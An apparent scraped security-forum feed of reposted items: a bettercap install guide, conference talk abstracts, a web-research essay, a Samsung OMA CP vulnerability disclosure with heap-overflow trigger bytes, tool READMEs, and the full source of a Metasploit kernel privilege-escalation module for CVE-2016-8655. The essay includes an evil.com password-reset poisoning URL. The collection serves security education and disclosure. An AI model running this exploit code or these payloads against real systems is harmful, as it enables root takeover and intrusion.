`curl -s https://golang.org/dl/ | grep -E -o 'https://[a-z0-9./]{5,}go[0-9.]{3,}linux-amd64.tar.gz' | head -n 1` Extract the downloaded archive: 1 tar zxf go*.linux-amd64.tar.gz Change the directory to $GOROOT, which we specified in ~/.bashrc. 1 sudo mv go $GOROOT Install the packages necessary for compilation: 1 sudo apt install bison byacc libpcap0.8-dev pkg-config libnetfilter-queue-dev Fix for an already installed library: 1 ln -s /usr/lib/x86_64-linux-gnu/libpcap.so.1.8.1 /usr/lib/x86_64-linux-gnu/libpcap.so.1 Download the source code, compile, install: 1 go get github.com/bettercap/bettercap To update the program: 1 go get -u github.com/bettercap/bettercap Conclusion As you can see, bettercap from a simple and fun program for man-in-the middle attacks has grown into a powerful multifunctional tool. To simplify routine activities, you can write small caps in several commands: for example, to run sniffing on a local network, or to collect information about Wi-Fi networks. Sursa: https://miloserdov.org/?p=1112
      • 1
      • Like
  13. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'AF_PACKET chocobo_root Privilege Escalation', 'Description' => %q{ This module exploits a race condition and use-after-free in the packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel to execute code as root (CVE-2016-8655). The bug was initially introduced in 2011 and patched in 2016 in version 4.4.0-53.74, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as Linux Mint. The target system must have unprivileged user namespaces enabled and two or more CPU cores. Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on Linux Mint 17.3 (x86_64); Linux Mint 18 (x86_64); and Ubuntu 16.04.2 (x86_64) with kernel versions 4.4.0-45-generic and 4.4.0-51-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'rebel', # Discovery and chocobo_root.c exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Aug 12 2016', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'chocobo_root.c' ], [ 'EDB', '40871' ], [ 'CVE', '2016-8655' ], [ 'BID', '94692' ], [ 'URL', 'http://seclists.org/oss-sec/2016/q4/607' ], [ 'URL', 'http://seclists.org/oss-sec/2016/q4/att-621/chocobo_root_c.bin' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2016-8655/chocobo_root.c' ], [ 'URL', 'https://bitbucket.org/externalist/1day_exploits/src/master/CVE-2016-8655/CVE-2016-8655_chocobo_root_commented.c' ], [ 'URL', 'https://usn.ubuntu.com/3151-1/' ], [ 'URL', 'https://www.securitytracker.com/id/1037403' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c' ] ], 'DefaultTarget' => 0)) register_options [ OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def timeout datastore['TIMEOUT'].to_i end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c -lpthread" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd rm_f "#{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'CVE-2016-8655', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic/ vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} is vulnerable" arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" cores = get_cpu_info[:cores].to_i min_required_cores = 2 unless cores >= min_required_cores vprint_error "System has less than #{min_required_cores} CPU cores" return CheckCode::Safe end vprint_good "System has #{cores} CPU cores" unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' CheckCode::Appears end def exploit if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('chocobo_root.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('chocobo_root') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status "Launching exploit (Timeout: #{timeout})..." output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } print_status "Cleaning up #{payload_path} and #{executable_path}.." rm_f executable_path rm_f payload_path end end Sursa: https://www.exploit-db.com/exploits/44696/?rss&amp;utm_source=dlvr.it&amp;utm_medium=twitter
  14. CVE-2018-8174-msf This is a metasploit module which creates a malicious word document to exploit CVE-2018-8174 - VBScript memory corruption vulnerability. This module is a very quick port and uses the exploit sample that was found in the wild. The exploit works only for Microsoft Office 32-bit. There are a lot of things that need to get better at this module but I will update it in the future if I find some time. Installation Copy the CVE-2018-8174.rb to /usr/share/metasploit-framework/modules/exploits/windows/fileformat/ Copy the CVE-2018-8174.rtf to /usr/share/metasploit-framework/data/exploits/ The exploit doesn't work very well with meterpreter shellcode so it's better to use non-staged reverse shell. Disclaimer DO NOT USE THIS SOFTWARE FOR ILLEGALL PURPOSES. THE AUTHOR DOES NOT KEEP ANY RESPONSIBILITY FOR ANY MISUSE OF THE CODE PROVIDED HERE. Sursa: https://github.com/0x09AL/CVE-2018-8174-msf
  15. Tegra is NVIDIA’s embedded Android/Linux development platform featuring a powerful SOC. It is widely used in various types of devices such as smartphones, game consoles, and of course the automotive systems. Based on the Tegra-powered processors, the Tesla car boasts advanced infotainment and instrument cluster systems. So that during the last two years of Tesla security research, we gained lots of experience related to the Tegra platform. In this talk, we briefly analyze some known vulnerabilities related to Tegra, and then we will talk about the implementation of NVMAP, which is a unified memory management interface on Tegra. finally, we’ll share some interesting vulnerabilities we found in the NVMAP interface, such as denial of service, sensitive memory leak, and local privilege escalation. *** Sen Nie is a security researcher of Keen Lab. Currently his research is mainly focused on car hacking, before that he has many years’ research experiences on program analysis, such as symbolic execution, smart fuzzing and other vulnerability detection technologies.
  16. In the past few years, data only kernel exploitation has been on the rise, since 2011 abusing and attacking Desktop heap objects, to gain a higher exploit primitives, was seen in many exploits. Moving forward to 2015 the focus has changed to GDI subsystem, and the discovery of the GDI Bitmaps objects, abuse, as well as in 2017 the GDI Palettes object abuse technique was released at DefCon 25, all of these techniques aim to, gain arbitrary/relative kernel memory read/write, to further the exploit chain. In this talk we will focus on some of the discovered techniques and objects, and how we were able using Type Isolation released in RS4 to mitigate those exploitation techniques. *** Ian Kronquist enjoys working at the confluence of systems programming and security, building mitigations for Windows kernel vulnerabilities at Microsoft. He previously worked on a hypervisor designed to detect and stop malware at an antivirus startup called Barkly Protects in Boston, Massachusetts. Ian graduated from Oregon State University with a BS in Computer Science, and spent his college years working at the OSU Open Source Lab. Ian has traveled throughout Europe and Asia and spent a year studying the Turkish language and folk music in Southern Turkey. Saif is a security engineer in the Microsoft Security Response Center’s Vulnerability & Mitigations team. He has a keen interest in exploit development and sharing everything he learns. He spends his time doing vulnerability research against Microsoft products and understanding new exploitation techniques and their real world applications.
  17. So you want to be a web security researcher? James Kettle | 23 May 2018 at 14:00 UTC Are you interested in pushing hacking techniques beyond the current state of the art and sharing your findings with the infosec community? In this post I’ll share some guidance on web security research, shaped by the opportunities and pitfalls I’ve experienced while pursuing this path myself. Breaking stuff for a living Most research is about taking existing techniques that bit further, so the first step is to get well acquainted with the current state of the art. The fastest way to achieve this is to get a job where you spend most of your time applying web hacking techniques. A lot of good people have shared detailed advice on getting into the security industry, so I’ll keep this section brief. I recommend a practice-focused approach starting with the OWASP Broken Web apps, moving on to more realistic challenges like my own hackxor.net, advancing through soft, low-reward targets on HackerOne and BugCrowd, and then finally onto well established high-payout bounty programs. Once you have a few publicly disclosed vulnerabilities it should be pretty easy to join a security consultancy and spend every day hacking stuff. There are plenty of free online resources to help you on the way, including our Burp methodology, HackerOne's Hacker101, and the OWASP testing guide. As for books, I’d recommend reading the WebApp Hacker’s Handbook, and The Tangled Web. Moving beyond known techniques Once you start working full time breaking stuff, you’ll initially learn loads but after a while your technical expertise will plateau unless you make a concerted effort to keep learning. Hunt forgotten knowledge Everyone knows you’re meant to keep up with new developments by monitoring industry experts, news aggregates and security conferences. However, to exclusively follow new developments is to overlook a treasure trove of forgotten and overlooked research. Every time you read a good quality blog post, read the entire archive. This will often unveil invaluable, forgotten tidbits of information. For example, take this post by RSnake about DNS rebinding written in 2009. DNS rebinding completely bypasses IP/firewall based access controls on websites, and the only effective way to mitigate it is by making your application whitelist the HTTP Host header. And yet at the time, people quickly assumed it was mitigated by browsers; this forgotten vulnerability only re-entered common awareness with a string of exploits nine years later. Perusing archives will also help you avoid wasting time replicating work that’s already been done by someone else, such as re-inventing a CSS attack one decade later. That said, some research is genuinely hard to find so occasional duplication is inevitable. I've had a published technique collision with one researcher only for both of us to discover that kuza55 had done the same thing five years prior. So, do your best to avoid duplicating research but if it happens anyway don’t panic - it happens to all of us. Collect diversity To connect threads and spot opportunities that other people miss, it’s crucial to collect information from a range of different sources. For a start, don’t limit yourself to reading security content - you’ll quickly find documentation can also serve as an exploit construction manual. Again, and this may be pretty obvious, but as well as trying to solve problems by Googling and posing well phrased questions to Twitter/Reddit/StackOverflow, ensure you ask colleagues - there’s a huge amount of knowledge floating around the community that people haven’t opted to share publicly. Beyond that, try to ensure your own experiences are diverse too. Doing black-box pentests for a security consultancy should expose you to a broad range of external and internal web applications, the likes of which you’ll rarely encounter in a bug bounty program. But the time constraints will rob you of the chance to understand an application with the familiarity that comes from months of bug bounty hunting with a single target. And although it’s often slow and constrained, white-box source code reviews can offer an irreplaceable alternative perspective, prompting attacks a black-box tester would never conceive. To nurture research, you ideally want a healthy mix of all three. Further experiences like playing CTFs and coding web applications can also add useful perspectives. No idea is too stupid One of the worst traps to fall into is dooming a great idea by assuming it won’t work and not trying it, because “someone else would have noticed it already” or “that is too dumb to work”. I’ve definitely fallen for this one before - one piece of research arrived two years later than it should have done thanks to such a mistake. Whether it's bypassing authentication by trying to login with the same password repeatedly, or breaking into a Google administration page by switching from your laptop to your phone, the path to your next great exploit may well require a really stupid idea. Iterate, invent, share Iterate The easiest way to get started is to find some promising research by someone else, build on it by mixing in other techniques, then apply your new approach to some live targets to see if anything interesting happens For example, this post on CORS misconfigurations pointed out an interesting behaviour and suggested that this behaviour was prevalent, but stopped short of exploring the impact on individual websites. I took this concept and applied it to bug bounty websites where I could legally explore the impact and try my hand at evading any mitigations they might have. Along the way I made some enhancements using common open redirect exploit techniques, discovered the ‘null’ origin technique by reading the CORS spec, and explored cache poisoning possibilities. Nothing in this process required sudden leaps of intuition or outstanding technical knowledge, and yet the resulting presentation and blog post was easily as well received as flashier efforts. Invent Iterating on other people’s work is great, but the best research often seems to appear out of nowhere, be it Relative Path Overwrite or Web Cache Deception. My view is that such discoveries are caused by personal experiences that act as hints. I refer to these as leads or breadcrumbs as they’re often cryptic and it may take quite a few of them to guide you all the way to a useful discovery. For example, in 2011 I was trying to crack the CSRF protection used by addons.mozilla.org. I had bypassed the token check, but they also validated that the host in the Referer header matched the current site. I asked for help on the sla.ckers forum, and ‘barbarianbob’ spotted that Django determines the current site’s host by looking at the HTTP Host header, and this could be overridden with the X-Forwarded-Host header. This could be combined with a Flash header injection vulnerability to bypass the CSRF check, but more importantly it was the first breadcrumb - it hinted that applications may rely on the host header to know their current location. A while later, I took a look at the source code of Piwik’s password reset function and found a line that looked something like: $passwordResetLink = getCurrentUrlWithoutQueryString() + $secretToken Aha, I thought. Piwik uses PHP which has hilarious path handling, so I can request a password reset at http://piwik.com/reset.php/foo;http://evil.com resulting in an email with two links, and the secret token being sent to evil.com. This idea worked, got me a bounty, and laid the foundation for the subsequent finding. The third and final crumb was the the way Piwik tried to patch this vulnerability - they replaced getCurrentUrlWithoutQueryString() with getCurrentUrlWithoutFileName(). This meant that I couldn’t use the path for an exploit anymore. Thanks to the encounter with Django earlier, I decided to dig further into the code to find how Piwik determined what the current host name was, and discovered that like Django, they used the HTTP host header, meaning I could easily generate poisoned password reset emails. As it turned out, this technique worked on addons.mozilla.org too, and Gallery, and Symfony, and Drupal, and a whole host of other sites, finally leading to Practical HTTP Host Header Attacks. By spelling out the discovery process in such a verbose way, I’ve hopefully demystified the research and made it look less like an idea spontaneously appearing out of the blue. Viewed from this perspective, it looks like the core skill (beyond pre-existing knowledge and breadth of experience) lies in recognising these breadcrumbs and persistently chasing after them. I can’t quite articulate how to do this yet, but I do know to treat as a lead anything that makes you say “this makes no sense”. Share Finally, it’s crucial to share your research with the community. This will help increase your profile and perhaps persuade your employer to allocate you some more research time. Beyond that, it will help you avoid wasting time and spur further research - commenters are really good at pointing out prior work you had no idea existed, and there’s nothing more rewarding than seeing another researcher building on your ideas. Please don’t think a technique or idea isn’t worth sharing just because you don’t have ground-breaking discovery, two logos and a presentation - just post whatever you have (ideally on a blog and not just some poorly indexed locked-down platform like Twitter). When sharing research, it’s always helpful to show at least one example of your technique being applied to exploit a real application. Without this, people will inevitably have difficulty understanding it, and may doubt that it has any practical value. Finally, presentations are great for reaching a wider audience, but beware of getting caught up in the infosec circus circuit and spending your days repeating past presentations. Conclusion I have a lot more to learn about research myself, so I hope to revisit this topic in a few years with substantially more of a clue. Also, I expect other researchers have different perspectives, and look forward to learning from any insights they decide to share. Finally, if you’re looking for some reading to get yourself started, I’ve created a list of various blogs that have inspired me over the years. Good luck and have fun! James Kettle @albinowax Sursa: https://portswigger.net/blog/so-you-want-to-be-a-web-security-researcher
      • 1
      • Upvote
  18. WAP just happened to my Samsung Galaxy? This is the third in a series of blogs about how, even in 2017, SMS-based attacks on Android phones are still viable. In part one, Al described how to set up infrastructure to launch potential attacks. In part two, we described how to identify your attack surface. This blog completes the journey (for now) and describes some of the bugs that we found, potential attack scenarios and the process of responsible disclosure that we followed to get the bugs fixed. By Tom Court and Neil Biggs 24 Jan 2017 Mobile, Product Security, Vulnerabilities and exploits TL;DR: We found bugs in Samsung Galaxy phones that can be triggered remotely via SMS, which when combined provide opportunities for ransomware peddlers. Samsung Mobile Security Team were quick to fix the issues, providing a decent example of how coordinated disclosure should happen. What is WAP Push? According to the link, the Wireless Application Protocol (WAP) suite has been in public operation since 1999. The Wireless Datagram Protocol (WDP) which forms part of the WAP suite provides a UDP-like layer to transport data between two endpoints on specific ports. WDP itself can be transported over many protocols, including SMS (the focus of this blog). WAP Push is transported on WDP and allows content to be pushed to the device with minimal (or no) user intervention. The data is encoded using WAP Binary XML (WBXML). Bugs Reading the last two paragraphs should awaken your inner vulnerability researching senses, given we are talking about a 17-year old technology transporting arbitrary data, which is potentially received and processed without user interaction. Add to that the fact that the specification for the WBXML encoding standard runs to 30 pages and you have a target that begs to be investigated. On the downside, this stuff has been around for 17 years, surely all the bugs have been found and fixed by now…right? WAP Push can be used to transport data for a multitude of applications. One application that caught our eye was the Open Mobile Alliance Client Provisioning (OMA CP) protocol that allows remote device provisioning and configuration. This sounds like a powerful capability, so let’s dig deeper! The devices we had to hand for our research were a series of Samsung Galaxy devices and so the remainder of this blog will be Samsung-centric. It is left as an exercise for the reader to investigate how this technology is handled by other vendors! Authentication Given the potential power of the OMA CP protocol, you would hope and expect that there is some level of authentication built in to stop the device blindly accepting configuration messages from anyone. Indeed, contained within the OMA CP spec is the following: “The connectivity media type may contain security information, which is transported as parameters to the media type application/vnd.wap.connectivity-wbxml. The security information consists of the message authentication code and the security method. The parameters MAC and SEC have been defined for this purpose and these MUST be supported by the WAP client.” - OMA-WAP-TS-ProvCont-V1_1-20090728-A,Section 4.3 Now let’s see if it works in practice. On Samsung Galaxy devices, including the S7 which was the newest device at the time, OMA CP messages are handled by the ‘omacp’ app. We used our SMS test rig to craft some custom OMA CP SMS messages and send them to the devices. As it turns out, our rig was able to send these messages to these devices and they were received and duly processed, despite no authentication details being present in the message. May we introduce CVE-2016-7991. It appears as though the ‘omacp’ app completely ignores the security field of the message! Silent Service In the previous scenario, the user would be presented with a prompt before the OMA CP message was acted upon. Whilst we can assume that many (most?!) users would blindly click accept just to get rid of the message, it is at least one barrier against unauthorized configuration change. The question is: are there any message types that get processed without the user being notified? We analysed the omacp app to identify any code flows where configurations are accepted without any user interaction. There were some clues that this may be possible, such as a check for “xcpSetBgInstall” which hints towards a possible background install. A function called xcpInstallWifiSetting also appeared to always be called if there were settings within the configuration message. This seemed very interesting, as we hoped that it would allow us to create a trusted Wi-Fi network profile on the phone with credentials we select, thus allowing us to stand up an access point which the phone would automatically connect to. The app makes use of a native C library "libomacp", which handles the parsing of configuration messages. This would requirea bit of reversing time to understand the message format, but as we’re lazy weideally want a quick test to see what this did. Once the app has parsed the message and established the Wi-Fi networks to create it fires off an intent to the Wi-Fi-service in the Android framework. Fortunately for us there were no permissions defined on the BroadcastReceiver in Wi-Fi-service, which meant we could ignore the WBMXL format for now and create a test app to send an intent to see what this does….. the phone then proceeded to crash, reboot, crash, repeat… With our phone now enacting groundhog day we took a closer look at what was actually happening. It appears that when the ‘omacp’ app receives an OMA CP message for setting Wi-Fi access point credentials, it fires off an intent without any user interaction that is received by the WifiServiceImpl (WifiServiceImpl.jar) code that resides within the Android framework. This then goes ahead and updates a config file(/data/misc/wifi/default_ap.conf) with the new settings. Fortunately we were able to get an adb connection to the phone, which had previously been rooted,and moved the dodgy file which stopped the phone from crashing. But what exactly in this default_ap.conf file was causing the device to crash so terribly? Here is an example of a validdefault_ap.conf, it gets written when the SET_WIFI intent is received and read by the framework every time the Wi-Fi state changes, including on boot. The code that parses this file is contained within the WifiServiceImpl.jar, specifically within the getVendorApInfoFromFile() function. This code expects each line of the config file to contain a key (ssid, password etc) and a value that is interpreted as a comma-separated list, which is parsed immediately after: As you can see from this code, the “networkCount” is derived from the number of comma-separated SSIDs, and then an assumption is made that the same number of elements are included in all other comma separated lists in the file. Given that an attacker can control the contents of this file, this assumption can easily be exploited, causing an ArrayIndexOutOfBounds exception to be thrown. This in itself would not be the end of the world if it were not for the fact that this code is not wrapped in an exception handler, meaning that when the exception occurs, it crashes the entire Android runtime and the phone reboots. As the runtime comes up again it reads the config file once more and the same happens, causing a boot-loop condition of the android runtime. This was clearly dangerous, as given the lack of permissions on the WifiService BroadcastReceiver, any app could send the com.android.intent.action.SET_WIFI intent and modify the default access point settings which causes the phone to continually crash. We confirmed that this worked on an S4, S4 Mini, S5 and Note 4, but it did not initially work on an S6 or S7. We later confirmed it was possible on these newer models (more details later). These issues have since been registered as CVE-2016-7988 (WifiService permissions) and CVE-2016-7989 (unhandled exception in Android runtime). The question then was could we trigger this over-the-air (OTA) and if so, which devices did it affect? OTA In order to trigger the bug over the air we now need to go back to the omacp app and work out the message format. The app makes use of a native C library "libomacp", which handles the parsing of configuration messages – it’s finally time to crack open IDA and do some properreversing. After a bit of IDA Pro magic we identified how to construct a WBXML encoded WAP-Push message to set some Wi-Fi settings. In the process we also found a WBXML parsing bug that is registered as CVE-2016-7990. Side Track: Bonus Bug CVE-2016-7990 - Integer Overflow inlibomacp.so Luckily, libomacp.so ships with debug symbols which makes analysis in IDA Pro *much* easier… The parser has two important primitives to understand. The first and simplest is the wssClientProvWbxmlDecoderBufferReadByte(doc,dest) function, which as the name suggests reads a byte into a destination buffer and increments the read (src)pointer. It returns success or fail (0,1). The second is the wssClientProvWbxmlDecoderBufferReadUint32(doc) function that unpacks a uint32 from a variable length field. It reads up to a total of 5 bytes using the wssClientProvWbxmlDecoderBufferReadByte() function described above, which may seem strange given a uint32 can be a maximum of 4 bytes. It reads a fifth due to the way the variable length encoding works. Having read a byte, the function treats the lower 7 bits as part of the uint32, and only if the top (8th) bit is set proceeds to read the next byte. Therefore values of < 128 can be represented in only one byte. Assuming that the number is >=128, the current cumulative value of the integer is logically shifted left 7 bits and OR’d with the 7 bits of this new byte. Again, if the top bit is set, another byte is read and the process is repeated. If the top bit is set on the 5th byte, the function returns an error and stores NULL in the return value. The bug can be found in the wssClientProcWbxmlDecoderMakeStrTable() function that is called as the final act of reading the wbxml header. This function uses the wssClientProvWbxmlDecoderReadUint32() function to read a length field from the input WBXML. It then adds 2 to this and performs a malloc(length+2). Following this it then enters a loop, calling wssClientProvWbxmlDecoderReadByte() length times or until there is no more data to read in the WBXML input. If the user-controlled length field is sufficiently large, the addition of 2 extra bytes before the malloc() will cause an integer overflow and will result in a very small number of bytes being allocated. Following this allocation, a copy is performed using length rather than length+2 or until the end of the source buffer is reached. This would result in a heap buffer overflow for length >= 0xfffffffe. In order to exploit this bug, the WBXML header must end with 0xffffffff encoded in the variable length format as 5 bytes, becoming: 0xff 0xff 0xff 0xff 0x7f Any bytes appearing in the file after this will get written into a heap allocation of 1 byte causing an arbitrary-length heap overflow. In testing, this has overwritten a variety of things including function pointers, giving the potential for remote code execution on devices up to the S5 model. The S6 and S7 models are only vulnerable to attacks via a locally installed malicious app, as explained below. Back on track: Exposure The only minor piece of good news is that initially our SET_WIFI bug did not appear to work on the most recent Samsung Galaxy devices, the S6 or S7. The S4, S4 Mini, S5 and Note 4 are pretty old, surely nobody uses them anymore? Hmmmmm. Let’s look at why this doesn’t work on the S6 and S7. As mentioned earlier, when a Wi-Fi configuration update message is received, the ‘omacp’ app fires off an intent that is picked up by a BroadcastReceiver set up by the WifiServiceImpl module within the Android runtime. On all the devices we tested, the ‘omacp’ app sent the SET_WIFI intent to: com.android.intent.action.SET_WIFI It turns out that the reason why the crash wasn’t happening with our app on the S6 and S7 was that intentionally or not, the BroadcastReceiver within WifiServiceImpl.jar is listening for com.samsung.android.intent.action.SET_WIFI but the app is still sending the older intentcom.android.intent.action.SET_WIFI. A quick tweak of the app to send this intent and our S6 and S7 are now also continually crashing. However, from a remote vulnerability perspective there would be no way to trigger this on the S6 and S7 as the omacp app will always send the old intent into the ether. Remote DoS The complexity of exploiting an Android device in recent years has escalated to the point that more often than not a chain of bugs is required to achieve the desired effect. This case is no different and we have shown here that it took two bugs to produce a viable attack vector, combined with some in-depth knowledge of the bespoke message format. If you have a rooted device, a fix for thisis to simply use adb as the phone is coming up and delete the default_ap.conffile. If your device is not rooted, the only two solutions are to factory reset the phone (losing all your data) or hope that the attacker is kind enough to send you another OMA CP message containing a valid configuration. Fixes are available Given the reversible nature of this attack (a second SMS could be sent that restored the device to its unbroken state) it does not require much imagination to construct a potential ransomware scenario for these bugs. Samsung have now released a security update that addresses these amongst other vulnerabilities and as is our usual advice, it is recommended that users prioritise the installation of these updates. Disclosure On discovering the bugs, we contacted Samsung Mobile Security and privately notified them of the issues, including proof-of-concepts where necessary. Over the course of the next three months, we worked with a very pro-active team at Samsung to help them understand the issues and get them fixed. Timeline: 17th June 2016 – Issues disclosed to vendor 21st June 2016 – Received acknowledgement from vendor 28th June 2016 – Received request for further details on one of the bugs 14th July 2016 – Received notification that all but one bug had been fixed 23rd August 2016 – Received notificationfrom vendor that all issues are fixed and that patch would be released in October 7th October 2016 – Received notification from vendor that patch is delayed until Nov 7th. 7th November 2016 – Patches released Bug IDs: SVE-2016-6542 (Samsung-specificvuln-id) CVE-2016-7988 – No Permissionson SET_WIFI Broadcast receiver CVE-2016-7989 – Unhandled ArrayIndexOutOfBounds exception in Android Runtime CVE-2016-7990 – Integer overflow in libomacp.so CVE-2016-7991 – omacp app ignores security fields in OMA CP message Video: Print Article Print this Article Subscribe for more Research like this Sign up for blog updates from Context. By signing up, you agree to Context’s Privacy & Cookie Policy and Terms & Conditions. You can withdraw your consent at any time. Popular Articles Ransomware - Minimising the threat to your business Top Tips for Responding to a Cyber Incident Ransomware - First steps to take after identifying an infection Ransomware - Identifying Patient Zero Ransomware - What is it and why should I care? About Tom Court and Neil Biggs Sursa: https://www.contextis.com/blog/wap-just-happened-my-samsung-galaxy
  19. Nytro

    GraphWave

    GraphWave Detecting similar CFG-paths from HTTP responses in a black box manner This Burp Suite extension detects similar code flows (CFG-paths) in requests and enables you to ignore them in active scans. Built with ❤︎ by Tijme Gommers – Donate via PayPal Table of Contents: Documentation Thesis Presentation Issues License Documentation Please refer to the wiki for installation and usage instructions. Our F.A.Q helps to troubleshoot any problems that might occur. Thesis Preview: latest build Please note that the thesis has been anonymised and some private information has been redacted. The source of the thesis (LaTex) is not open-source at the moment Presentation Preview: latest build Please note that the presentation has been anonymised and some private information has been redacted. The source of the presentation (LaTex) is not open-source at the moment Issues Issues or new features can be reported via the GitHub issue tracker. Please make sure your issue or feature has not yet been reported by anyone else before submitting a new one. License GraphWave is open-sourced software licensed under the MIT license. Sursa: https://github.com/tijme/graphwave
  20. Gnirehtet This project provides reverse tethering over adb for Android: it allows devices to use the internet connection of the computer they are plugged on. It does not require any root access (neither on the device nor on the computer). It works on GNU/Linux, Windows and Mac OS. Currently, it relays TCP and UDP over IPv4 traffic, but it does not support IPv6 (yet?). Flavors Two implementations of Gnirehtet are available: one in Java; one in Rust. Which one to choose? Use the Rust implementation. The native binary consumes less CPU and memory, and does not require a Java runtime environment. The relay server of Gnirehtet was initially only implemented in Java. As a benefit, the same "binary" runs on every platform having Java 8 runtime installed. It is still maintained to provide a working alternative in case of problems with the Rust version. Requirements The Android application requires at least API 21 (Android 5.0). For the Java version only, Java 8 (JRE) is required on your computer. On Debian-based distros, install the package openjdk-8-jre. adb You need a recent version of adb (where adb reverse is implemented, it works with 1.0.36). It is available in the Android SDK platform tools. On Debian-based distros, you can alternatively install the package android-tools-adb. On Windows, if you need adb only for this application, just download the platform-tools and extract the following files to the gnirehtet directory: adb.exe AdbWinApi.dll AdbWinUsbApi.dll Make sure you enabled adb debugging on your device(s). Download Download the latest release in the flavor you want. Rust Linux: gnirehtet-rust-linux64-v2.2.1.zip (SHA-256: 7ecb04bc7e2a223773dc9be66efafd39bb6cfb16b5cc4ccbe252f997c003bf6c) Windows: gnirehtet-rust-win64-v2.2.1.zip (SHA-256: 1e62a5a5ade4a5f4d0b1d4a6699feedbc727eebd808cfcc152662313a1003400) MacOS: gnirehtet-rust-macos64-v2.2.1.zip (SHA-256: 902103e6497f995e1e9b92421be212559950cca4a8b557e1f0403769aee06fc8) Then extract it. The Linux and MacOS archives contain: gnirehtet.apk gnirehtet The Windows archive contains: gnirehtet.apk gnirehtet.exe gnirehtet-run.cmd Java All platforms: gnirehtet-java-v2.2.1.zip (SHA-256: feb7fae78d1247247ae4ec89a5a01895c7fc4efa0965bdbfeb46396577f150db) Then extract it. The archive contains: gnirehtet.apk gnirehtet.jar gnirehtet gnirehtet.cmd gnirehtet-run.cmd Run (simple) Note: On Windows, replace ./gnirehtet by gnirehtet in the following commands. The application has no UI, and is intended to be controlled from the computer only. If you want to activate reverse tethering for exactly one device, just execute: ./gnirehtet run Reverse tethering remains active until you press Ctrl+C. On Windows, for convenience, you can double-click on gnirehtet-run.cmd instead (it just executes gnirehtet run, without requiring to open a terminal). The very first start should open a popup to request permission: A "key" logo appears in the status bar whenever Gnirehtet is active: Alternatively, you can enable reverse tethering for all connected devices (present and future) by calling: ./gnirehtet autorun Run You can execute the actions separately (it may be useful if you want to reverse tether several devices simultaneously). Start the relay server and keep it open: ./gnirehtet relay Install the apk on your Android device: ./gnirehtet install [serial] In another terminal, for each client, execute: ./gnirehtet start [serial] To stop a client: ./gnirehtet stop [serial] To reset the tunnel (useful to get the connection back when a device is unplugged and plugged back while gnirehtet is active): ./gnirehtet tunnel [serial] The serial parameter is required only if adb devices outputs more than one device. For advanced options, call ./gnirehtet without arguments to get more details. Run manually The gnirehtet program exposes a simple command-line interface that executes lower-level commands. You can call them manually instead. To start the relay server: java -jar gnirehtet.jar relay To install the apk: adb install -r gnirehtet.apk To start a client: adb reverse localabstract:gnirehtet tcp:31416 adb shell am broadcast -a com.genymobile.gnirehtet.START \ -n com.genymobile.gnirehtet/.GnirehtetControlReceiver To stop a client: adb shell am broadcast -a com.genymobile.gnirehtet.STOP \ -n com.genymobile.gnirehtet/.GnirehtetControlReceiver Why gnirehtet? rev <<< tethering (in Bash) Developers Read the developers page. Licence Copyright (C) 